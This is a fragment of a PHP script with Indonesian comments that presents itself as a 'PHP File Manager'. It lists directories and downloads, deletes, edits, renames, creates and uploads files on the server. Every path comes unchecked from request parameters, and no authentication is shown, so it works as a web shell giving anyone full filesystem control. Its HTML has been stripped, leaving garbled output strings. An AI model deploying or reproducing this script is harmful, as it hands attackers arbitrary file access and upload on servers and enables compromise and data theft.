'; return $output; } // Fungsi untuk daftar direktori dan file function listDirectories($dirPath) { // Breadcrumb untuk path $output = createBreadcrumb($dirPath); // Tampilkan isi direktori dan file $output .= ""; $files = scandir($dirPath); foreach ($files as $file) { if ($file === '.') continue; $filePath = $dirPath . '/' . $file; $type = is_dir($filePath) ? 'Folder' : 'File'; $output .= ""; if ($type == 'Folder') { if ($file == '..') { $parentDir = dirname($dirPath); $output .= ""; $output .= ""; $output .= ""; } else { $output .= ""; $output .= ""; $output .= ""; } } else { $output .= ""; $output .= ""; $output .= ""; } $output .= ""; } $output .= "
NameTypeAction
$file$type$file$type$file$type Download | Delete | Edit | Rename
"; return $output; } // Fungsi untuk menghapus file function deleteFile($filePath) { if (is_file($filePath)) { unlink($filePath); } } // Fungsi untuk membuat direktori baru function createDirectory($dirPath, $dirName) { $newDir = $dirPath . '/' . $dirName; if (!is_dir($newDir)) { mkdir($newDir); } } // Fungsi untuk membuat file baru function createFile($dirPath, $fileName) { $newFile = $dirPath . '/' . $fileName; if (!file_exists($newFile)) { touch($newFile); } } // Fungsi untuk mengunggah file function uploadFile($dirPath) { $file = $_FILES['uploaded_file']; // Check if upload directory is writable if (!is_writable($dirPath)) { return "Upload directory '" . $dirPath . "' is not writable."; } // Handle file upload $fileName = basename($file['name']); $targetFile = $dirPath . '/' . $fileName; move_uploaded_file($file['tmp_name'], $targetFile); } // Fungsi untuk mengedit file function editFile($filePath) { if (isset($_POST['save_file'])) { file_put_contents($filePath, $_POST['file_content']); header("Location: ?dir=" . urlencode(dirname($filePath))); exit; } else { $content = file_get_contents($filePath); echo "

Editing File: " . basename($filePath) . "



Cancel
"; } } // Fungsi untuk mengganti nama file function renameFile($oldPath, $newName) { $newPath = dirname($oldPath) . '/' . $newName; if (!file_exists($newPath)) { rename($oldPath, $newPath); } } // Fungsi untuk mengunduh file function downloadFile($filePath) { if (file_exists($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filePath).'"'); header('Content-Length: ' . filesize($filePath)); flush(); readfile($filePath); exit; } } $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['delete'])) { deleteFile($_GET['delete']); header("Location: ?dir=" . urlencode($currentDir)); exit; } if (isset($_POST['new_folder'])) { createDirectory($currentDir, $_POST['folder_name']); header("Location: ?dir=" . urlencode($currentDir)); exit; } if (isset($_POST['new_file'])) { createFile($currentDir, $_POST['file_name']); header("Location: ?dir=" . urlencode($currentDir)); exit; } if (isset($_FILES['uploaded_file'])) { uploadFile($currentDir); header("Location: ?dir=" . urlencode($currentDir)); exit; } if (isset($_GET['download'])) { downloadFile($_GET['download']); exit; } if (isset($_GET['edit'])) { editFile($_GET['edit']); exit; } if (isset($_GET['rename'])) { $fileToRename = $_GET['rename']; $currentFileName = basename($fileToRename); echo "

Rename File: " . htmlspecialchars($currentFileName) . "

Cancel
"; } if (isset($_POST['rename_file']) && isset($_GET['rename'])) { $oldFilePath = $_GET['rename']; $newFileName = $_POST['new_name']; renameFile($oldFilePath, $newFileName); header("Location: ?dir=" . urlencode(dirname($oldFilePath))); exit; } ?> PHP File Manager

File Manager